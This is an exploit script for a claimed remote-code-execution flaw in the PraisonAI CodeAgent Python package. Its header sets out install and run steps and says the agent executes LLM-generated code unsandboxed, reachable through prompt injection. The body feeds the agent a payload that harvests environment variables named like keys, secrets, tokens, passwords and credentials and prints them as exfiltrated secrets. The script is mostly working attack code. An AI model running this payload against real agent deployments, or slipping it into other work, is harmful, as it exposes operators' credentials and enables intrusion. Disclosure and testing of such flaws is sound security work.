PraisonAI CodeAgent 1.6.77 Remote Code Execution

#!/usr/bin/env python3
    # Exploit Title:         PraisonAI CodeAgent 1.6.77 - Remote Code Execution
    # CVE:                   CVE-2026-61447
    # Date:                  2026-07-13
    # Exploit Author:        Mohammed Idrees Banyamer
    # Author Country:        Jordan
    # Instagram:             @banyamer_security
    # Author GitHub:         https://github.com/mbanyamer
    # Author Blog  :         https://banyamersecurity.com/blog/
    # Vendor Homepage:       https://github.com/MervinPraison/PraisonAI
    # Software Link:         https://pypi.org/project/praisonaiagents/
    # Affected:              praisonaiagents <= 1.6.77
    # Tested on:             praisonaiagents 1.6.77
    # Category:              Remote Code Execution
    # Platform:              Linux / Windows / macOS
    # Exploit Type:          Python Script
    # CVSS:                  10.0 (Critical)
    # Description:           The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.
    # Fixed in:              praisonaiagents >= 1.6.78
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #
    # Options:
    #   --
    #
    # Notes:
    #   • Requires the vulnerable praisonaiagents package installed.
    #   • Demonstrates direct RCE and secret leakage.
    #
    # How to Use
    #
    # Step 1:
    #   pip install praisonaiagents==1.6.77
    #
    # Step 2:
    #   python3 exploit.py
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    banner()
    
    from praisonaiagents.agent.code_agent import CodeAgent
    import json
    
    agent = CodeAgent(name="poc-agent")
    
    malicious_code = """
    import os
    import json
    secrets = {k: v for k, v in os.environ.items() 
               if any(keyword in k.upper() for keyword in 
                      ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}
    print("=== EXFILTRATED SECRETS ===")
    print(json.dumps(secrets, indent=2))
    """
    
    print("Executing malicious LLM-generated code...")
    result = agent.execute(malicious_code)
    
    print("\n=== Execution Result ===")
    print("STDOUT:", result.get('stdout', ''))
    print("STDERR:", result.get('stderr', ''))
    print("Return Code:", result.get('returncode', ''))